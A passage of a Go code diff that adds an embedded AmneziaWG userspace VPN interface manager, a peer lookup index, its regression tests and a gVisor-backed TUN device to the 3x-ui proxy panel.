dest := netip.AddrPortFrom(addrFromTcpip(id.LocalAddress), id.LocalPort)
handler(gonet.NewTCPConn(&wq, ep), dest)
ep.Close()
r.Complete(false)
}(r)
})
gstack.SetTransportProtocolHandler(tcp.ProtocolNumber, fwd.HandlePacket)
}
+62
View File
@@ -0,0 +1,62 @@
package amneziawgnet
import (
"net/netip"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
)
// PeerIndex resolves a decapsulated connection's tunnel-internal source
// address back to the peer it belongs to, the same role Xray-core's own
// wireguard proxy's GetUserByAddr plays -- sourced here from an
// amneziawg.Instance's own Peers (already carries Email per peer, no new
// data needed) rather than a separate user table.
type PeerIndex struct {
entries []peerIndexEntry
}
type peerIndexEntry struct {
prefix netip.Prefix
peer amneziawg.Peer
}
// NewPeerIndex builds a lookup index from peers' AllowedIPs. Entries with an
// unparseable AllowedIPs value are skipped rather than failing the whole
// index -- by the time an Instance reaches this package, AllowedIPs has
// already been accepted at save time (see internal/amneziawg's own
// validation), so a bad entry here would only mean stale/manually-edited
// data, not something worth refusing to serve the rest of the peers over.
func NewPeerIndex(peers []amneziawg.Peer) *PeerIndex {
idx := &PeerIndex{}
for _, p := range peers {
for _, a := range p.AllowedIPs {
prefix, err := netip.ParsePrefix(a)
if err != nil {
continue
}
idx.entries = append(idx.entries, peerIndexEntry{prefix: prefix, peer: p})
}
}
return idx
}
// Lookup returns the peer whose AllowedIPs most specifically contains addr --
// the same longest-prefix-match rule a real AmneziaWG interface's own
// AllowedIPs routing table uses for outbound packets, applied here in
// reverse to attribute an inbound (tunnel-internal-source) packet back to
// its owning peer.
func (idx *PeerIndex) Lookup(addr netip.Addr) (amneziawg.Peer, bool) {
bestBits := -1
var bestPeer amneziawg.Peer
for _, e := range idx.entries {
if e.prefix.Bits() <= bestBits || !e.prefix.Contains(addr) {
continue
}
bestBits = e.prefix.Bits()
bestPeer = e.peer
}
if bestBits < 0 {
return amneziawg.Peer{}, false
}
return bestPeer, true
}
+343
View File
@@ -0,0 +1,343 @@
package amneziawgnet
import (
"fmt"
"net/netip"
"os"
"strings"
"sync"
"github.com/amnezia-vpn/amneziawg-go/v3/device"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
)
// verboseLoggerIfEnabled returns a real amneziawg-go verbose logger (real
// handshake/keepalive/decrypt-error diagnostics -- the device is otherwise
// completely silent by design, see DeviceOptions' own doc comment) when the
// AMNEZIAWGNET_DEBUG environment variable is set to any non-empty value,
// nil otherwise (NewDevice's own default -- LogLevelSilent -- applies).
// Deliberately opt-in and env-var-gated rather than a permanent log-level
// setting: this device's own protocol-level logging has no per-peer
// filtering, so enabling it on a busy real inbound would be noisy; it's
// meant for exactly this kind of "why did this one handshake go quiet"
// investigation on a low-traffic box.
func verboseLoggerIfEnabled(inboundID int) *device.Logger {
if os.Getenv("AMNEZIAWGNET_DEBUG") == "" {
return nil
}
return device.NewLogger(device.LogLevelVerbose, fmt.Sprintf("(awg#%d) ", inboundID))
}
// Desired pairs an amneziawg.Instance (the shared, DB-backed shape) with
// this package's embedded-only DeviceOptions -- see DeviceOptions' doc.
type Desired struct {
Instance amneziawg.Instance
Options DeviceOptions
}
// managed is one running embedded interface: the live Device, its UDP relay
// sessions, its open per-client port-forward listeners, the peer lookup
// index built from its current peer list, and enough of its own
// configuration to decide whether a later Ensure call can reconfigure it in
// place or needs to rebuild it from scratch.
type managed struct {
dev *Device
udpRelay *UDPRelay
portForwards *PortForwardSet
peers *PeerIndex
inst amneziawg.Instance
structFP string
uapiConfig string
}
// Manager owns the set of running embedded AmneziaWG interfaces, keyed by
// inbound id -- the same shape as internal/mtproto.Manager (GetManager()
// + sync.Once, mu-guarded map, Ensure/Reconcile/StopAll/HasRunning), so a
// caller already familiar with that Manager needs to learn nothing new here.
// Every Device this Manager builds gets its TCP forwarder and UDP handler
// attached automatically (see ensureLocked), relaying into that instance's
// own loopback SOCKS5 inbound (SOCKSPortForInbound/SocksPassword) -- a
// caller only needs to keep calling Ensure/Reconcile with fresh Instance
// data; it doesn't need to know relay.go exists at all.
type Manager struct {
mu sync.Mutex
ifaces map[int]*managed
}
var (
managerOnce sync.Once
manager *Manager
)
// GetManager returns the process-wide embedded-AmneziaWG manager singleton.
func GetManager() *Manager {
managerOnce.Do(func() {
manager = &Manager{ifaces: map[int]*managed{}}
})
return manager
}
// Ensure brings inbound d.Instance.Id's embedded interface to the state
// d describes, creating it if it doesn't exist yet. A no-op only when
// nothing has changed since the last successful Ensure/Reconcile.
func (m *Manager) Ensure(d Desired) error {
m.mu.Lock()
defer m.mu.Unlock()
return m.ensureLocked(d)
}
// ensureLocked decides between three actions: nothing changed since the
// last apply (skip entirely -- this is the common case on every 10s
// reconcile tick when no admin edit happened, and it MUST actually skip the
// IpcSet call, not just look like it should: amneziawg-go's IpcSet always
// includes replace_peers=true -- see buildUAPIConfig -- and its own
// implementation of that op is device.RemoveAllPeers(), unconditionally,
// even when the new peer list is byte-identical to the old one. A real
// production bug, found via a live test connection that reset every ~10s:
// calling IpcSet on every tick regardless of whether anything changed was
// tearing down every peer's live handshake/session state on every single
// reconcile, so no connection could ever survive past one tick); only
// peers/obfuscation/keys/listen_port changed (reconfigure the existing
// Device in place via IpcSet); or the interface's own address(es)/MTU
// changed (these are fixed at netstack-construction time, so the only
// option is closing the old Device and building a fresh one).
func (m *Manager) ensureLocked(d Desired) error {
inst, opts := d.Instance, d.Options
if opts.Logger == nil {
opts.Logger = verboseLoggerIfEnabled(inst.Id)
}
structFP := addressFingerprint(inst)
cur, exists := m.ifaces[inst.Id]
// Captured before either branch below: peers/AllowedIPs can change
// (and so can each peer's IPv6 alias) without the address/MTU
// fingerprint changing at all, so both the reconfigure-in-place branch
// and the rebuild branch need to diff IPv6 aliases against whatever
// this id had before, not just on a rebuild.
var oldInst amneziawg.Instance
if exists {
oldInst = cur.inst
}
if exists && cur.structFP == structFP {
conf, err := buildUAPIConfig(inst, opts)
if err != nil {
return fmt.Errorf("amneziawgnet: %w", err)
}
// True no-op: the rendered UAPI config -- which already covers every
// field IpcSet can act on (keys, listen port, obfuscation, AWG 3.0
// options, the full peer list) -- is byte-identical to what's
// already live. Comparing the rendered string instead of inst
// directly means this can never drift out of sync with whatever
// buildUAPIConfig actually reads, the way a hand-maintained field
// list could.
if conf == cur.uapiConfig {
cur.peers = NewPeerIndex(inst.Peers)
cur.inst = inst
applyV6Aliases(diffV6Aliases(oldInst, inst))
// buildUAPIConfig never reads ForwardedPorts (it's a panel-level
// concept, not a WireGuard UAPI field), so a ForwardedPorts-only
// edit renders byte-identical here and takes this exact no-op
// branch -- without this call, that edit would silently never
// open/close a listener until some unrelated change also
// happened to touch this inbound. See
// TestForwardedPortsOnlyChangeStillReconcilesPortForwards.
cur.portForwards.Reconcile(inst)
return nil
}
if err := cur.dev.IpcSet(conf); err != nil {
return fmt.Errorf("amneziawgnet: reconfigure inbound %d: %w", inst.Id, err)
}
cur.peers = NewPeerIndex(inst.Peers)
cur.inst = inst
cur.uapiConfig = conf
applyV6Aliases(diffV6Aliases(oldInst, inst))
cur.portForwards.Reconcile(inst)
return nil
}
if exists {
cur.udpRelay.Close()
cur.portForwards.Close()
cur.dev.Close()
delete(m.ifaces, inst.Id)
}
dev, err := newUnconfiguredDevice(inst, opts)
if err != nil {
return err
}
relay := socksRelayForInstance(inst)
udpRelay := NewUDPRelay(relay, dev.Stack)
portForwards := NewPortForwardSet(dev.Stack, inst.Id)
inboundID := inst.Id // captured for the closures below, which outlive this call
AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
srcAddrPort, err := netip.ParseAddrPort(conn.RemoteAddr().String())
if err != nil {
conn.Close()
return
}
// Re-fetched on every connection, not captured once at attach time:
// a reconfigure-in-place (peers added/removed, no rebuild) replaces
// cur.peers without ever re-attaching the forwarder, so a stale
// captured index would silently miss newly-added peers.
_, peers, ok := m.Lookup(inboundID)
if !ok {
conn.Close()
return
}
peer, ok := peers.Lookup(srcAddrPort.Addr().Unmap())
if !ok {
conn.Close()
return
}
relay.RelayTCP(conn, peer.Email, dest)
})
AttachUDPHandler(dev.Stack, func(src, dst netip.AddrPort, payload []byte) {
_, peers, ok := m.Lookup(inboundID)
if !ok {
return
}
peer, ok := peers.Lookup(src.Addr())
if !ok {
return
}
udpRelay.Handle(src, dst, peer.Email, payload)
})
// Handlers are registered on dev.Stack above, BEFORE Configure's IpcSet
// can start any peer's receive goroutine -- see newUnconfiguredDevice's
// doc comment for why this order (not convenience) is what makes this
// race-free.
if err := dev.Configure(inst, opts); err != nil {
udpRelay.Close()
portForwards.Close()
return err
}
// dev.Configure already rendered and applied this exact config
// internally; recomputing it here (cheap, pure, guaranteed to succeed
// since Configure just proved these inputs are valid) is simpler than
// threading the string back out of Configure's own signature, and gives
// the no-op check above a correct baseline to compare the next tick
// against instead of an empty string.
conf, _ := buildUAPIConfig(inst, opts)
m.ifaces[inst.Id] = &managed{
dev: dev,
udpRelay: udpRelay,
portForwards: portForwards,
peers: NewPeerIndex(inst.Peers),
inst: inst,
structFP: structFP,
uapiConfig: conf,
}
applyV6Aliases(diffV6Aliases(oldInst, inst))
portForwards.Reconcile(inst)
logger.Infof("amneziawgnet: started embedded interface %s for inbound %d", inst.InterfaceName, inst.Id)
return nil
}
// socksRelayForInstance derives the loopback SOCKS5 relay address/password
// for inst -- both fully determined by its id and the process-wide
// password (SOCKSPortForInbound/SocksPassword), so no per-instance state
// needs threading through Desired/DeviceOptions for this.
func socksRelayForInstance(inst amneziawg.Instance) SocksRelay {
return SocksRelay{
Addr: fmt.Sprintf("127.0.0.1:%d", SOCKSPortForInbound(inst.Id)),
Password: SocksPassword(),
}
}
// addressFingerprint captures the two Instance fields that can't be changed
// on a running Device via IpcSet alone (they're fixed when the gVisor
// netstack is built) -- everything else (keys, listen port, obfuscation,
// AWG 3.0 options, peers) amneziawg-go's own UAPI can hot-reconfigure.
func addressFingerprint(inst amneziawg.Instance) string {
return fmt.Sprintf("%d|%s", inst.MTU, strings.Join(inst.Address, ","))
}
// Reconcile brings every desired instance's embedded interface up to date
// and stops any managed interface whose inbound is no longer desired --
// mirroring internal/mtproto.Manager.Reconcile's per-tick contract.
func (m *Manager) Reconcile(desired []Desired) {
m.mu.Lock()
defer m.mu.Unlock()
want := make(map[int]struct{}, len(desired))
for _, d := range desired {
want[d.Instance.Id] = struct{}{}
}
for id, cur := range m.ifaces {
if _, ok := want[id]; ok {
continue
}
applyV6Aliases(diffV6Aliases(cur.inst, amneziawg.Instance{}))
cur.udpRelay.Close()
cur.portForwards.Close()
cur.dev.Close()
delete(m.ifaces, id)
logger.Infof("amneziawgnet: stopped embedded interface for removed inbound %d", id)
}
for _, d := range desired {
if err := m.ensureLocked(d); err != nil {
logger.Warningf("amneziawgnet: reconcile failed for inbound %d: %v", d.Instance.Id, err)
}
}
}
// Remove tears down inbound id's embedded interface, if any -- mirrors
// internal/mtproto.Manager.Remove, for a caller that needs to drop a
// single inbound outside a full Reconcile pass (e.g. the immediate-apply
// CRUD path in internal/web/runtime/local.go).
func (m *Manager) Remove(id int) {
m.mu.Lock()
defer m.mu.Unlock()
cur, exists := m.ifaces[id]
if !exists {
return
}
applyV6Aliases(diffV6Aliases(cur.inst, amneziawg.Instance{}))
cur.udpRelay.Close()
cur.portForwards.Close()
cur.dev.Close()
delete(m.ifaces, id)
logger.Infof("amneziawgnet: stopped embedded interface for removed inbound %d", id)
}
// StopAll tears down every managed interface. Called on panel shutdown.
func (m *Manager) StopAll() {
m.mu.Lock()
defer m.mu.Unlock()
for id, cur := range m.ifaces {
applyV6Aliases(diffV6Aliases(cur.inst, amneziawg.Instance{}))
cur.udpRelay.Close()
cur.portForwards.Close()
cur.dev.Close()
delete(m.ifaces, id)
}
}
// HasRunning reports whether any embedded interface is currently managed.
func (m *Manager) HasRunning() bool {
m.mu.Lock()
defer m.mu.Unlock()
return len(m.ifaces) > 0
}
// Lookup returns the running Device and PeerIndex for inbound id, if any --
// the forwarder/UDP-handler closures ensureLocked attaches use this to
// re-fetch the current peer index on every connection (see ensureLocked's
// comment on why), and it's equally available to a test harness or any
// other caller that wants read access to a managed interface's state.
func (m *Manager) Lookup(id int) (dev *Device, peers *PeerIndex, ok bool) {
m.mu.Lock()
defer m.mu.Unlock()
cur, exists := m.ifaces[id]
if !exists {
return nil, nil, false
}
return cur.dev, cur.peers, true
}
+343
View File
@@ -0,0 +1,343 @@
package amneziawgnet
import (
"fmt"
"net"
"testing"
"time"
"github.com/amnezia-vpn/amneziawg-go/v3/device"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
)
// TestManagerLifecycle exercises Ensure/Reconcile's reconfigure-in-place vs.
// rebuild split (see ensureLocked's doc comment) and Reconcile's stop path,
// using a throwaway Manager rather than the process-wide singleton so this
// test doesn't interact with any other test's state.
func TestManagerLifecycle(t *testing.T) {
priv, pub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate keypair: %v", err)
}
m := &Manager{ifaces: map[int]*managed{}}
inst := amneziawg.Instance{
Id: 3,
InterfaceName: "awgtest3",
ListenPort: 58714,
PrivateKey: priv,
PublicKey: pub,
Address: []string{"10.203.0.1/24"},
MTU: 1420,
Obfuscation: amneziawg.Obfuscation31{
Jc: 4, Jmin: 40, Jmax: 70,
S1: 20, S2: 30, S3: 20, S4: 20,
},
}
defer m.StopAll()
if err := m.Ensure(Desired{Instance: inst}); err != nil {
t.Fatalf("Ensure (create): %v", err)
}
if !m.HasRunning() {
t.Fatal("HasRunning() = false after Ensure created an interface")
}
dev1, _, ok := m.Lookup(inst.Id)
if !ok {
t.Fatal("Lookup after Ensure: not found")
}
// Same Instance again: same address fingerprint, so this should
// reconfigure the existing Device via IpcSet rather than rebuild it --
// verify by checking the *Device pointer survived unchanged.
if err := m.Ensure(Desired{Instance: inst}); err != nil {
t.Fatalf("Ensure (unchanged): %v", err)
}
dev2, _, ok := m.Lookup(inst.Id)
if !ok {
t.Fatal("Lookup after second Ensure: not found")
}
if dev1 != dev2 {
t.Error("Ensure with an unchanged Instance rebuilt the Device; expected an in-place reconfigure")
}
// Changing the interface address is structural (fixed at netstack
// construction time) and must force a rebuild -- verify by checking the
// *Device pointer changed.
changed := inst
changed.Address = []string{"10.203.1.1/24"}
if err := m.Ensure(Desired{Instance: changed}); err != nil {
t.Fatalf("Ensure (address changed): %v", err)
}
dev3, _, ok := m.Lookup(inst.Id)
if !ok {
t.Fatal("Lookup after address-changing Ensure: not found")
}
if dev3 == dev2 {
t.Error("Ensure with a changed address reconfigured in place; expected a rebuild")
}
// Reconcile with nothing desired stops every managed interface.
m.Reconcile(nil)
if m.HasRunning() {
t.Error("HasRunning() = true after Reconcile([]) should have stopped everything")
}
if _, _, ok := m.Lookup(inst.Id); ok {
t.Error("Lookup succeeded after Reconcile([]) removed the interface")
}
}
// TestEnsureUnchangedInstanceDoesNotResetLivePeers is a regression test for a
// real production bug: an unchanged Ensure call (the common case on every
// 10s AmneziaWGJob reconcile tick when no admin edit happened) was calling
// IpcSet unconditionally. amneziawg-go's IpcSet always includes
// replace_peers=true (see buildUAPIConfig), and its own implementation of
// that op is device.RemoveAllPeers() -- unconditionally, even when the new
// peer list is byte-identical to the old one. That tore down every peer's
// live handshake/session state on every single reconcile tick, so no real
// connection could ever survive past ~10 seconds. Caught via a live test
// connection that reset every ~10s with amneziawg-go's own verbose logging
// enabled (AMNEZIAWGNET_DEBUG) showing "UAPI: Removing all peers" +
// peer "Stopping"/"Starting" on every tick.
//
// Verified here by comparing the *device.Peer pointer LookupPeer returns
// before and after a no-op Ensure: identical pointer proves the peer object
// itself survived (no RemoveAllPeers), not just that some higher-level
// abstraction looks unchanged.
func TestEnsureUnchangedInstanceDoesNotResetLivePeers(t *testing.T) {
priv, pub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate server keypair: %v", err)
}
_, peerPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate peer keypair: %v", err)
}
m := &Manager{ifaces: map[int]*managed{}}
inst := amneziawg.Instance{
Id: 4,
InterfaceName: "awgtest4",
ListenPort: 58715,
PrivateKey: priv,
PublicKey: pub,
Address: []string{"10.204.0.1/24"},
MTU: 1420,
Obfuscation: amneziawg.Obfuscation31{
Jc: 4, Jmin: 40, Jmax: 70,
S1: 20, S2: 30, S3: 20, S4: 20,
},
Peers: []amneziawg.Peer{
{Email: "peer@test", PublicKey: peerPub, AllowedIPs: []string{"10.204.0.2/32"}},
},
}
defer m.StopAll()
if err := m.Ensure(Desired{Instance: inst}); err != nil {
t.Fatalf("Ensure (create): %v", err)
}
peerPubHex, err := wireguard.KeyToHex(peerPub)
if err != nil {
t.Fatalf("KeyToHex: %v", err)
}
var npk device.NoisePublicKey
if err := npk.FromHex(peerPubHex); err != nil {
t.Fatalf("NoisePublicKey.FromHex: %v", err)
}
dev, _, ok := m.Lookup(inst.Id)
if !ok {
t.Fatal("Lookup after Ensure: not found")
}
peerBefore := dev.LookupPeer(npk)
if peerBefore == nil {
t.Fatal("LookupPeer returned nil right after Ensure created the peer")
}
// Simulate the reconcile job firing again with byte-identical data --
// this is what AmneziaWGJob does every 10 seconds regardless of whether
// anything actually changed.
if err := m.Ensure(Desired{Instance: inst}); err != nil {
t.Fatalf("Ensure (unchanged, second tick): %v", err)
}
peerAfter := dev.LookupPeer(npk)
if peerAfter == nil {
t.Fatal("LookupPeer returned nil after the unchanged Ensure -- peer was removed and never re-added")
}
if peerBefore != peerAfter {
t.Error("unchanged Ensure recreated the peer object (RemoveAllPeers + re-add) -- " +
"any live handshake/session on this peer would have been reset for no reason")
}
}
// TestForwardedPortsOnlyChangeStillReconcilesPortForwards is a regression
// test for the Phase 3.6 port-forwarding wiring: buildUAPIConfig never reads
// ForwardedPorts (it's a panel-level concept, not a WireGuard UAPI field),
// so a ForwardedPorts-only edit renders a byte-identical UAPI config and
// takes ensureLocked's true no-op branch -- the exact same branch
// TestEnsureUnchangedInstanceDoesNotResetLivePeers exists to guard, just for
// a different subsystem. Without an explicit portForwards.Reconcile call on
// that branch, a ForwardedPorts-only edit would silently never open (or
// close) a listener until some unrelated change also happened to touch this
// inbound. Verified end to end here: a real host-facing listener must exist
// after the second Ensure call, not just an internal state flag.
func TestForwardedPortsOnlyChangeStillReconcilesPortForwards(t *testing.T) {
priv, pub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate server keypair: %v", err)
}
_, peerPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate peer keypair: %v", err)
}
const forwardedPort = 58930
m := &Manager{ifaces: map[int]*managed{}}
inst := amneziawg.Instance{
Id: 6,
InterfaceName: "awgtest6",
ListenPort: 58716,
PrivateKey: priv,
PublicKey: pub,
Address: []string{"10.205.0.1/24"},
MTU: 1420,
Obfuscation: amneziawg.Obfuscation31{
Jc: 4, Jmin: 40, Jmax: 70,
S1: 20, S2: 30, S3: 20, S4: 20,
},
Peers: []amneziawg.Peer{
{Email: "peer@test", PublicKey: peerPub, AllowedIPs: []string{"10.205.0.2/32"}},
},
}
defer m.StopAll()
if err := m.Ensure(Desired{Instance: inst}); err != nil {
t.Fatalf("Ensure (create, no ForwardedPorts yet): %v", err)
}
if _, err := net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", forwardedPort), 200*time.Millisecond); err == nil {
t.Fatal("forwarded port already accepting connections before ForwardedPorts was ever set")
}
// Only ForwardedPorts changes -- same keys, same AllowedIPs, same
// address/MTU, so this must take ensureLocked's true no-op UAPI branch.
changed := inst
changed.Peers = []amneziawg.Peer{
{Email: "peer@test", PublicKey: peerPub, AllowedIPs: []string{"10.205.0.2/32"}, ForwardedPorts: fmt.Sprintf("%d", forwardedPort)},
}
if err := m.Ensure(Desired{Instance: changed}); err != nil {
t.Fatalf("Ensure (ForwardedPorts-only change): %v", err)
}
conn, err := net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", forwardedPort), 2*time.Second)
if err != nil {
t.Fatalf("forwarded port not accepting connections after a ForwardedPorts-only Ensure: %v", err)
}
conn.Close()
}
// TestEnsureHeaderProtectionKeyChangeReconfiguresInPlace is a regression
// test for the Phase 3.7 AWG 3.0 wiring: proves that populating
// Desired.Options with a real HeaderProtectionKey/ContentPaddingAddition
// takes ensureLocked's existing reconfigure-in-place branch (same *Device
// survives, no rebuild) rather than silently doing nothing or forcing an
// unnecessary rebuild -- buildUAPIConfig already rendered these fields
// before this phase, so no manager.go changes were needed, but this proves
// the whole chain (Desired -> DeviceOptions -> buildUAPIConfig -> IpcSet)
// actually works together, not just in isolation.
func TestEnsureHeaderProtectionKeyChangeReconfiguresInPlace(t *testing.T) {
priv, pub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate server keypair: %v", err)
}
headerProtectionKey, err := wireguard.GenerateWireguardPSK()
if err != nil {
t.Fatalf("generate header protection key: %v", err)
}
m := &Manager{ifaces: map[int]*managed{}}
inst := amneziawg.Instance{
Id: 7,
InterfaceName: "awgtest7",
ListenPort: 58717,
PrivateKey: priv,
PublicKey: pub,
Address: []string{"10.207.0.1/24"},
MTU: 1420,
Obfuscation: amneziawg.Obfuscation31{
Jc: 4, Jmin: 40, Jmax: 70,
S1: 20, S2: 30, S3: 20, S4: 20,
},
}
defer m.StopAll()
if err := m.Ensure(Desired{Instance: inst}); err != nil {
t.Fatalf("Ensure (create, no header protection yet): %v", err)
}
dev1, _, ok := m.Lookup(inst.Id)
if !ok {
t.Fatal("Lookup after Ensure: not found")
}
err = m.Ensure(Desired{
Instance: inst,
Options: DeviceOptions{
HeaderProtectionKey: headerProtectionKey,
ContentPaddingAddition: "20-40",
},
})
if err != nil {
t.Fatalf("Ensure (HeaderProtectionKey-only change): %v", err)
}
dev2, _, ok := m.Lookup(inst.Id)
if !ok {
t.Fatal("Lookup after second Ensure: not found")
}
if dev1 != dev2 {
t.Error("Ensure with a HeaderProtectionKey-only change rebuilt the Device; expected an in-place IpcSet reconfigure")
}
}
// TestEnsureRejectsHeaderProtectionKeyWithLowS1S4 proves amneziawg-go's own
// IpcSet backstop really exists independent of the save-time
// ValidateHeaderProtection check in
// internal/web/service/inbound_amneziawg.go -- that web-layer check can be
// bypassed (a node-owned inbound, a direct DB edit), so this confirms a
// malformed config still fails loudly here rather than silently applying a
// broken interface.
func TestEnsureRejectsHeaderProtectionKeyWithLowS1S4(t *testing.T) {
priv, pub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate server keypair: %v", err)
}
headerProtectionKey, err := wireguard.GenerateWireguardPSK()
if err != nil {
t.Fatalf("generate header protection key: %v", err)
}
m := &Manager{ifaces: map[int]*managed{}}
inst := amneziawg.Instance{
Id: 8,
InterfaceName: "awgtest8",
ListenPort: 58718,
PrivateKey: priv,
PublicKey: pub,
Address: []string{"10.208.0.1/24"},
MTU: 1420,
Obfuscation: amneziawg.Obfuscation31{
Jc: 4, Jmin: 40, Jmax: 70,
S1: 5, S2: 5, S3: 5, S4: 5, // all below amneziawg-go's own 12-byte minimum
},
}
defer m.StopAll()
err = m.Ensure(Desired{
Instance: inst,
Options: DeviceOptions{HeaderProtectionKey: headerProtectionKey},
})
if err == nil {
t.Fatal("Ensure must fail: amneziawg-go's own IpcSet rejects header protection with S1-S4 below its minimum")
}
}
+245
View File
@@ -0,0 +1,245 @@
// Package amneziawgnet embeds amneziawg-go (a userspace AmneziaWG
// implementation, https://github.com/amnezia-vpn/amneziawg-go) directly in
// the panel process, as an alternative to internal/amneziawg's
// kernel-module (DKMS) + awg-quick approach. A gVisor userspace network
// stack (gvisor.dev/gvisor/pkg/tcpip -- already an indirect dependency via
// xray-core's own proxy/wireguard support) terminates each tunnel, and a
// forwarder recovers each connection's real, dynamically-arbitrary
// destination for the caller to relay onward (see Phase 2 of the migration
// plan: a loopback SOCKS5 dial into Xray, giving native stats/routing/
// sniffing for free).
package amneziawgnet
import (
"fmt"
"net/netip"
"os"
"syscall"
awgtun "github.com/amnezia-vpn/amneziawg-go/v3/tun"
"gvisor.dev/gvisor/pkg/buffer"
"gvisor.dev/gvisor/pkg/tcpip"
"gvisor.dev/gvisor/pkg/tcpip/header"
"gvisor.dev/gvisor/pkg/tcpip/link/channel"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
"gvisor.dev/gvisor/pkg/tcpip/stack"
"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
)
// tunQueueDepth is the outbound packet queue depth for both the gVisor
// channel endpoint and the handoff channel to amneziawg-go's TUN reader
// (see the stackTun literal in createNetTUNWithStack for why both need it).
const tunQueueDepth = 1024
// stackTun implements amneziawg-go's tun.Device directly against a gVisor
// channel endpoint, the same approach amneziawg-go's own tun/netstack
// package and xray-core's proxy/wireguard/netstack.go both take. Neither of
// those exposes the raw *stack.Stack a forwarder needs (amneziawg-go's Net
// type keeps it unexported), so this is a local, from-source reimplementation
// rather than a wrapper -- adapted from amneziawg-go v3.0.3's
// tun/netstack/tun.go (MIT licensed), trimmed to the constructor this
// package needs.
type stackTun struct {
ep *channel.Endpoint
stack *stack.Stack
events chan awgtun.Event
notifyHandle *channel.NotificationHandle
incomingPacket chan *buffer.View
mtu int
}
// createNetTUNWithStack builds a gVisor-backed tun.Device for the given
// local addresses (interface address(es), one per family) and returns the
// underlying *stack.Stack alongside it so a caller can attach a forwarder
// (see forwarder.go / udp.go).
func createNetTUNWithStack(localAddresses []netip.Addr, mtu int) (awgtun.Device, *stack.Stack, error) {
opts := stack.Options{
NetworkProtocols: []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
// HandleLocal must stay false: promiscuous+spoofing mode (see
// forwarder.go) is what lets a destination other than the stack's
// own configured address reach the forwarder at all.
HandleLocal: false,
}
dev := &stackTun{
// tunQueueDepth matches channel.New's own outbound queue depth
// below. WriteNotify (called synchronously from whatever gVisor
// goroutine is sending TCP data for the download/server->client
// direction) pushes into incomingPacket; RoutineReadFromTUN (a
// single amneziawg-go goroutine that encrypts and sends each
// packet over UDP) is the only reader. With no buffer, every
// outbound packet forced a full synchronous handoff between the
// two -- gVisor's sender blocked until the encrypt loop was ready
// for the next one, one packet at a time, no pipelining. The
// upload/client->server direction has no equivalent stall:
// Write->InjectInbound->DeliverNetworkPacket hands off into
// gVisor's own ~1MB per-connection TCP receive buffer and returns
// immediately. Buffering this channel gives the download
// direction the same slack the upload direction already had.
ep: channel.New(tunQueueDepth, uint32(mtu), ""),
stack: stack.New(opts),
events: make(chan awgtun.Event, 10),
incomingPacket: make(chan *buffer.View, tunQueueDepth),
mtu: mtu,
}
sackEnabledOpt := tcpip.TCPSACKEnabled(true)
if err := dev.stack.SetTransportProtocolOption(tcp.ProtocolNumber, &sackEnabledOpt); err != nil {
return nil, nil, fmt.Errorf("amneziawgnet: enable TCP SACK: %s", err)
}
dev.notifyHandle = dev.ep.AddNotify(dev)
if err := dev.stack.CreateNIC(1, dev.ep); err != nil {
return nil, nil, fmt.Errorf("amneziawgnet: CreateNIC: %s", err)
}
var hasV4, hasV6 bool
for _, ip := range localAddresses {
var protoNumber tcpip.NetworkProtocolNumber
switch {
case ip.Is4():
protoNumber = ipv4.ProtocolNumber
hasV4 = true
case ip.Is6():
protoNumber = ipv6.ProtocolNumber
hasV6 = true
default:
continue
}
protoAddr := tcpip.ProtocolAddress{
Protocol: protoNumber,
AddressWithPrefix: tcpip.AddrFromSlice(ip.AsSlice()).WithPrefix(),
}
if err := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{}); err != nil {
return nil, nil, fmt.Errorf("amneziawgnet: AddProtocolAddress(%v): %s", ip, err)
}
}
if hasV4 {
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv4EmptySubnet, NIC: 1})
}
if hasV6 {
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
}
dev.events <- awgtun.EventUp
return dev, dev.stack, nil
}
func (t *stackTun) Name() (string, error) { return "amneziawgnet", nil }
func (t *stackTun) File() *os.File { return nil }
func (t *stackTun) Events() <-chan awgtun.Event { return t.events }
func (t *stackTun) MTU() (int, error) { return t.mtu, nil }
func (t *stackTun) BatchSize() int { return 1 }
// Read blocks for the first packet, then opportunistically drains any more
// that are already buffered (non-blocking), up to len(buf). amneziawg-go's
// caller (RoutineReadFromTUN) sizes buf/sizes to device.BatchSize(), which
// is the UDP bind's own batch size (128 on Linux, see conn.IdealBatchSize)
// since that's larger than BatchSize()'s 1 below -- so real buffer capacity
// for a batch is already there. Without this drain loop, Read always
// returned exactly one packet no matter how many buf could hold, so every
// downstream step (peer lookup, per-peer staging, and ultimately the UDP
// bind's own genuinely batched Send/sendmmsg) processed the download
// direction one packet at a time while the upload direction's equivalent
// (bind.Receive/recvmmsg -> decrypt -> stackTun.Write, which already loops
// over its whole buf) processed up to 128 per cycle. That asymmetry is
// real, not gVisor/amneziawg-go's -- both the receive and send paths on the
// UDP bind support batching identically, only this Read implementation
// didn't use it.
func (t *stackTun) Read(buf [][]byte, sizes []int, offset int) (int, error) {
view, ok := <-t.incomingPacket
if !ok {
return 0, os.ErrClosed
}
